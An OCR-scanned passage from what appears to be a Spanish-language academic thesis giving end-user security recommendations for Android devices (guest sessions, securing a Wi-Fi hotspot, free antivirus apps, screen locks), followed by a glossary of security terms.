
8.10 RECOMENDACIONES DE SEGURIDAD

En la presente sesion se hablara de las recomendaciones basicas de seguridad
gue deben ser tomadas por los usuarios en un dispositivo mévil con sistema
operativo Android 4.4 o superior.

De acuerdo con las pruebas que han sido realizadas y documentadas a lo largo de
este documento se decide hacer énfasis en las siguientes practicas, las cuales se
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ponen a disposicion de los usuarios para que por criterio propio decidan ser
seguidas para mejorar la seguridad de la informacién y de los datos sensibles
guardados en los dispositivos maviles.

8.10.1 Sesién de invitado Android

En el literal 8.2.10 del presente documento se evidencio que de 25 personas que
comparten su dispositivo movil solo 2 de ellas hacen uso de la sesion de invitado,
esto se debe a diferentes causales como desconocimiento o desactualizacion de
sistema operativo. Sea cual sea la razon a continuacion se muestran los
beneficios que se obtienen al habilitar esta caracteristica en los dispositivos
Android.

La sesién de invitado ha sido incluida desde Android 4.4 en versiones de Tablet y
desde 5.0 en dispositivos tipo smarthphone, tiene una funcionalidad similar a la
manejada por la plataforma de escritorio Windows y sera descrita a continuacion.

Para activar la funcion debemos desplegar el menu de notificaciones disponible en
el sistema como se ve en la figura 89.

Figura 89. Habilitando invitado 1

Claro 2 PYCRNP I o

23:46

jue. 26 de nov.

-

APARATO STUDIO Bluetooth

| Q

Linterna Vertical

Modo avién

Fuente: Los autores.
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En la parte superior derecha damos en el simbolo azul, el cual nos desplegara la
siguiente pantalla, figura 90.

Figura 90. Habilitando invitado 2

pomaes £ £}

Usuario

© e ©

ws_tavera@gmail
.com

Fuente: Los autores.

Seleccionamos agregar invitado, lo cual no enviard a la pantalla inicial de
configuracion del dispositivo, debemos Tener en cuenta que el invitado es
ocasional, si deseamos crear un usuario secundario deberemos seguir el mismo
procedimiento, pero dando en el botdn de agregar usuarios.

¢Por qué es aconsejable habilitar estos modos con diferentes usuarios?

El modo invitado o usuario secundario tiene una sesion completamente nueva en
la que tendra su propio espacio de almacenamiento, sus propias aplicaciones
(siempre y cuando se sincronice la cuenta), sus archivos y su informacion, este
modo es recomendable para las personas que suelen prestar sus dispositivos
moviles, si se desea preservar la integridad de la informacion en el equipo. Para
aprovechar al maximo esta caracteristica se debe asignar un método de ingreso a
la sesién de administrador, el cual puede ser uno de los integrados en el sistema
como patrén o contrasefa.

Los usuarios de dispositivos moviles inteligentes deben de tener en cuenta que no
solo los delincuentes informéticos eliminan la informacién de los dispositivos, si el
equipo movil es prestado a nifios de edades tempranas se corre un riesgo de
pérdida de informacién y/o uso inadecuado de las cuentas sincronizadas siendo
este otra causa que implicaria la creacion de la cuenta de invitado o usuario
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secundario, es importante también que sepan que desde la opcion de mas ajusten
se pueden dar permisos o bloqueos de llamada al usuario creado.

8.10.2 Compartir Internet Seguro

Actualmente la mayoria de Smarthphones tienen una caracteristica particular para
transformar nuestro dispositivo en un sistema enrutador de datos, la opcion se
denomina “Zona activa movil” o “zona activa Wi-Fi” y permite habilitar una
conexion Wi-Fi en donde nuestro dispositivo gestiona una red nueva, si el anfitrion
tiene un plan de datos, los clientes pueden conectarse sin problema y utilizar los
recursos del anfitrion.

Como podemos deducir, la creacion de una red nueva es el centro de atencion en
nuestro caso ya que es un nuevo blanco de los delincuentes informaticos, como
configurar nuestra zona activa Wi-Fi de manera segura y con menos
vulnerabilidades se explica a continuacion.

Después de habilitar la opcion en nuestro dispositivo vamos a los ajustes de zona
activa Wi-Fi en donde encontraremos la siguiente pantalla, figura 91.:

Figura 91. Ajustes Zona Activa Wi-Fi

@ %yl #0000 8:03

Ajustes zona activa Wi-Fi

Configurar zona activa Wi-Fi

steven wifi zona activa portatil Wi-Fi.
Seguridad: WPA2 PSK

Reconocible ®
El dispositivo es visible

Ahorro de energia
Desactivar zona activa después de 10 minutos de
inactividad

Dispositives conectados (0/10)

Fuente: Los autores.
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En la que podemos configurar varias opciones, en primera instancia se encuentra
la configuracion de acceso “configurar zona activa Wi-Fi” la cual nos permite
escoger el tipo de seguridad que tendra nuestra red como se muestra en la figura
92:

Figura 92. Configurar Zona Activa Wi-Fi

@ ul #0000 803

Configurar zona activa Wi-Fi

Nombre de red (SSID)
Eteven wifi

Seguridad
WPA2 PSK

Contrasefia

La contrasefia debe tener 8 caracteres

D Mostrar contrasefia.

CANCELAR  GUARDAR

Fuente: Los autores.

Como se evidencia en la imagen anterior podemos darle el SSID a nuestra red, el
algoritmo de cifrado y la contrasefia de acceso, se debe tener en cuenta que en el
primer uso de una conexion compartida las opciones de seguridad vienen
desactivadas y la red queda abierta, si no tenemos cuidado en asignar las
correctas condiciones de ingreso podemos ser victimas de ataques informaticos
con mayor facilidad.

La segunda opcion es si queremos que nuestra red sea reconocible por los
dispositivos externos, se recomienda no hacerla reconocible ya que s tenemos el
SSID y la contrasefia podemos ingresar a la red sin verla, basta con
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preconfigurarla y acceder, esto da un punto a favor, ya que si ho se cuenta con
esta informacién la red no sera blanco facil.

Es aconsejable activar la tercera opcion cuando tenemos habilitado una zona
activa Wi-Fi, la opcion de ahorro de bateria permite al dispositivo apagar la red por
inactividad lo que garantiza que solo estara activa si tenemos clientes activos.

La dltima préactica recomendable para tener en cuenta en este tipo de conexiones
realizadas es estar constantemente en monitoreo, ya que la misma pantalla de
ajustes nos da la posibilidad de ver que dispositivos tenemos asociados a nuestra
red, lo que nos daria pistas a la hora de tener intrusos en la red.

8.10.3 Sistema de Antivirus

Los sistemas de antivirus para dispositivos moviles funcionan de manera similar a
los sistemas pensados para computadoras, los desarrolladores mantienen un
servidor de bases de datos activo para comparar archivos maliciosos y dafiinos
para el sistema operativo.

No se entrara mucho en detalles, sin embargo, cabe rescatar que este tipo de
aplicaciones pueden evitar una tragedia informatica, ya que dan un plus de
seguridad a nuestros dispositivos cuando descargamos archivos de la red.

En la tabla 3 se presentan algunos de los antivirus gratuitos que encontramos en
la tienda de aplicaciones de Google segun fuente de Softonic.

Tabla 3. Antivirus para Android

Antivirus Breve descripcion Licencia

Avast protege tu Android de los peligros de la red con su Mobile Security
& Antivirus. Integra un escaner antimalware, un excelente anti-robo y | Gratuita
varias funciones para proteger tu privacidad.

Avast Mobile
Security & Antivirus

CM (Cleanmaster) Security FREE es un antivirus votado por su facilidad
CM Security | de uso, equipado con un excelente motor antimalware, con funciones de
AppLock Antivirus bloqueo para las llamadas y un enlace a Clean Master para limpiar el
Android de archivos inttiles.

Gratuita

AVG AntiVirus Security Free es la solucion gratuita de AVG para proteger
de malware tu smartphone Android. La app ofrece seguridad en tiempo | Gratuita
real asi como una amplia variedad de funciones.

AVG AntiVirus
Security Free

Todos los dispositivos moviles necesitan mantenimiento, y 360 Security
esta pensado para cuidar de tu mévil mediante su suite de antivirus y | Gratuita
herramientas de optimizacion.

360  Security -
Antivirus 3.4.1
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Antivirus Breve descripcion Licencia

360 Security busca virus en tu Android, asi como malware y posibles
vulnerabilidades en el sistema. Puede mejorar el rendimiento de tu
dispositivo liberando memoria y limpiando la caché de las apps. Otras
herramientas son la encriptacion de mensajes, un gestor de apps,
antirrobo, caja de seguridad, etc.

VirusTotal es un popular servicio online que analiza archivos con mas de
40 antivirus. Esta aplicacion para Android se encarga de analizar todas

VirusTotal 1.0 tus apps, y las apps del sistema Android en busca de virus, troyanos y Gratuita
toda clase de malware.
Kaspersky Internet Security defiende tu movil contra virus, robos y
llamadas no solicitadas. Es una suite de seguridad gratuita cuya calidad
viene garantizada por Kaspersky, un gigante entre los antivirus.
Kaspersky Internet Gratuita

Security 11.8.4.625 | El antivirus de Kaspersky Internet Security analiza aplicaciones recién
instaladas consultando la nube de Kaspersky. Los datos se comparten
entre millones de usuarios, con lo que incluso las amenazas
desconocidas son detenidas a tiempo.

LINE Antivirus es una app de seguridad que monitoriza la actividad de
las apps de tu teléfono para ofrecer proteccion activa contra cualquier
amenaza y que te permite realizar analisis, basico o completo, del
teléfono en busca de virus.

LINE Antivirus 1.0.6 Gratuito
Ademas de las funciones de andlisis y proteccion, con LINE Antivirus
también puedes comprobar qué aplicaciones tienen permisos para
acceder a tu informacién personal (llamadas, contactos, etcétera...) y
configurar el acceso.

Avira Free Android Security te ayuda a proteger tu teléfono Android en
Avira Free Android | caso de pérdida o robo. Con la aplicacion instalada, puedes bloguear el
Security 3.0 teléfono y borrar datos, y hacer sonar una alarma de forma remota desde
tu PC.

Gratuito

Fuente: http://www.softonic.com/android/antivirus:programas

Cabe destacar que algunos de los antivirus mencionados presentan
caracteristicas adicionales a sus funcionalidades comunes, caracteristicas como
limpieza de archivos basura directamente de desde la aplicacion, algunos de ellos
incluso presentan moédulos antirrobo, los cuales dan la posibilidad de localizar el
dispositivo mévil o si es el caso de borrar la informacién contenida en el mismo
con el fin de no facilitar datos importantes al delincuente.

8.10.4 Asignacion de Blogueo

Es de gran importancia considerar los dispositivos méviles de manera privada, ya
gue se han convertido en extensiones de nOsSoOtros mMiSMOS como seres
tecnoldgicos, una practica tan sencilla como asignar un método de bloqueo al
celular elimina de manera sustancial vulnerabilidades fisicas del sistema, los
accesos no deseados y hasta la posibilidad de extraccion de informacién en caso
de robo.

112




Uno de los mayores miedos y preocupaciones de los usuarios son los contactos,
no solo el hecho de perderlos, sino también los usos que un delincuente pueda
hacer con estos, sin embargo no se esta pensando mas alla, en los smarthphones
se mantienen las cuentas personales sincronizadas, se realizan consultas y
transacciones bancarias, los navegadores y su historial mantienen archivos de log
que detallan las sesiones de navegacién y asi infinidad de datos, ni hablar de las
cuentas sincronizadas de almacenamiento como Dropbox y/o Drive. Por tal motivo
se hace necesario la asignacion de blogueo del mévil con alguno de los métodos
que ofrece el mismo sistema operativo, sea cual sea la manera de bloqueo se
debe pensar en: la frecuencia de uso del dispositivo, la complejidad de la
contrasefa y el acceso compartido al movil, no es lo mismo un pin de 4 digitos que
un patron de 9 puntos de recorrido y mucho menos una contrasefia alfanumeérica
de complejidad alta.
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ANEXO A
(Informativo)

GLOSARIO

AMENAZA: accidon o elemento capaz de atentar en contra de la seguridad de la
informacion, existe si y solo si existe una vulnerabilidad que puede ser
aprovechada para tal fin.

ANDROID: sistema operativo para dispositivos moviles basado en nucleo Linux,
fue creado por Android Inc, respaldado por el gigante Google, es un sistema
pensado para dispositivos tactiles, aunque se distribuye en diferentes modos de
presentacion, en su version mas actual encontramos Android 5.0 Lollipop.

ANTIVIRUS: programa que en informética se utiliza para detectar y/o eliminar
virus informaticos, han evolucionado a tal sentido que ahora existen los que
detectan spyware, malware, gusanos, troyanos etc.

ATAQUE: método por el cual se intenta tomar control, modificar o dafar un
sistema informatico determinado mediante una herramienta especifica.

BLACKBERRY OS: sistema operativo multitarea para dispositivos moviles
desarrollado por Blackberry, originalmente creado con similitudes al sistema
presentado por RIM para computadoras de mano en 1999.

BLUETOOTH: protocolo de comunicacién disefiado para dispositivos de bajo
consumo que permite la transmision de voz y datos mediante un enlace de
radiofrecuencia en la banda ISM de 2,4GHz.

DOS: (de las siglas en inglés “Denial of Service”) Término utilizado en seguridad
informatica para referirse a un tipo de atague conocido como ataque de
denegacion de servicio, como su nombre lo dice es un método utilizado para hacer
inaccesibles algunos servicios de un sistema de informaciébn a sus usuarios
legitimos.

FIREWALL: término que traduce en espafiol muro de fuego, es usado en
informatica para denotar un software o hardware que analiza la informacién y el
trafico de una red, y segun las politicas configuradas permite o bloquea el flujo de
la informacién.

HACKER: término utilizado en seguridad informatica para definir al individuo que

ejecuta entradas remotas no autorizadas por medio de redes de comunicacioén con
diferentes fines: mejora, continuidad, dafinos y contra la ley.
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HACKING: método mediante el cual se ejecutan entradas remotas no autorizadas
a un sistema de informacion por un hacker.

HARDWARE: en computacion e informética el hardware son todos los
componentes de la estructura fisica de un sistema de informacion.

INFORMATICA: ciencia de la computacion que abarca y estudia los métodos,
técnicas y procesos, con el fin de almacenar, procesar y transmitir informacion y
datos en formato digital.

INTRUSION: en informatica es el método por el cual se logra introducirse en
sistema de informacioén o dispositivo en especifico

IOS: sistema operativo de la gigante multinacional Apple Inc. Se desarrolld
pensado para el dispositivo movil iPhone, y con la llegada de los otros dispositivos
se us6 el mismo sistema, Actualmente su sistema operativo se encuentra en la
novena version, mejor conocida como iOS 9.

IP: (de las siglas en inglés ‘Internet Protocol’)En informética es el
direccionamiento o identificacion numérica gue tiene un sistema o una interfaz
de un dispositivo dentro de una red con protocolo IP.

MAC: (de las siglasen inglés “Media Acces Control”)identificador de 48 bits de la
direccion fisica Unica de un dispositivo electrénico.

MALWARE: término informatico compuesto por “Malicius Software” que define a
un programa o software hostil que pretende modificar o dafiar un sistema
informético.

MITM: (de las siglas en inglés “Man in The Middle”), siglas que traducen “hombre
en el medio” es un ataque conocido en informatica ya que el atacante se incluye
en medio de una red de un sistema de informacién con el fin de captar, modificar y
afadir informacion confidencial de una comunicacion.

NAT: (de las siglas en inglés “Network Address Translation”)es un método
utilizado por sistemas de ruteo para intercambio de paquetes de informacién y
trafico entre redes con direccionamiento incompatible.

NFC: (de las siglas en inglés “Near Fiel Communication”)es una tecnologia
inalambrica de corto alcance que funciona en la banda de 13.56MHz similar al
protocolo de comunicacion utilizado en bluetooth.

NORMA: segun la real academia de la lengua una norma es una regla que debe
ser respetada y que permite ajustar ciertas conductas o actividades.
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PDA: (de las siglas en inglés “Personal Digital Assistant”)Dispositivos antecesores
de los teléfonos inteligentes o Smartphones, los cuales se consideraban
computadores de bolsillo que realizaban tareas de agendas electronicas.

PENTEST: composicion inglesa de las palabras “Penetration testing” el pentest o
pentesting son ataques controlados que se realizan contra un equipo o aplicacion
con el fin de determinar sus vulnerabilidades y fallas existentes antes que sean
aprovechadas por un atacante cualquiera.

PROBABILIDAD: calculo matematico de las posibilidades que existen de que una
cosa se cumpla o suceda al azar.

RIESGO: en informatica un riesgo es un problema potencial que surge con la
probabilidad de ocurrencia de un evento.

ROOT: en seguridad informatica el término Root define al usuario del sistema
operativo en especifico que posee todos los privilegios, derechos y modos de
administrador. El usuario Root puede hacer cualquier modificacion sobre el
software del sistema en cuestion.

SEGURIDAD: en informética la seguridad denota proteccion de la informacién y
de los sistemas de informacion.

SMARTPHONE: un teléfono inteligente o Smartphone puede definirse como un
equipo de telefonia movil que incluye funciones de procesamiento que
normalmente se reservaban para su uso en equipos de cémputo personal, sean
estos para escritorio o portétiles

SNIFFER: sistema informatico de monitoreo que “olfatea” tramas en el trafico de
datos de una red.

SOFTWARE: el software en los sistemas informaticos conforma todos los
programas que hacen posible el enfoque y el desarrollo de tareas especificas
dentro de un dispositivo.

TRAFICO: cantidad de datos enviados y recibidos por paquetes en una red
informatica.

VIRUS: en informatica un virus denota una infeccién de software que se genera a
partir de una fuente maliciosa, su objetivo es debilitar la cadena de seguridad de
un sistema de informacion.

VULNERABILIDAD: una vulnerabilidad informatica es un error de configuracion o
del sistema como tal que permite la intrusion de un atacante para realizar acciones
en contra de la seguridad de la informacion.

117



WIFI: composicion inglesa de las palabras “Wireless Fidelity que indica el
mecanismo de conexion de manera inalambrica de los dispositivos electrénicos.

WINDOWS PHONE: sistema operativo desarrollado por la multinacional Microsoft,
fue el sistema que desplaz6 a Windows Mobile, este sistema integra multiples
servicios predeterminados en su instalacion para su facil manejo, actualmente
comanda la marca de Nokia en dispositivos moviles
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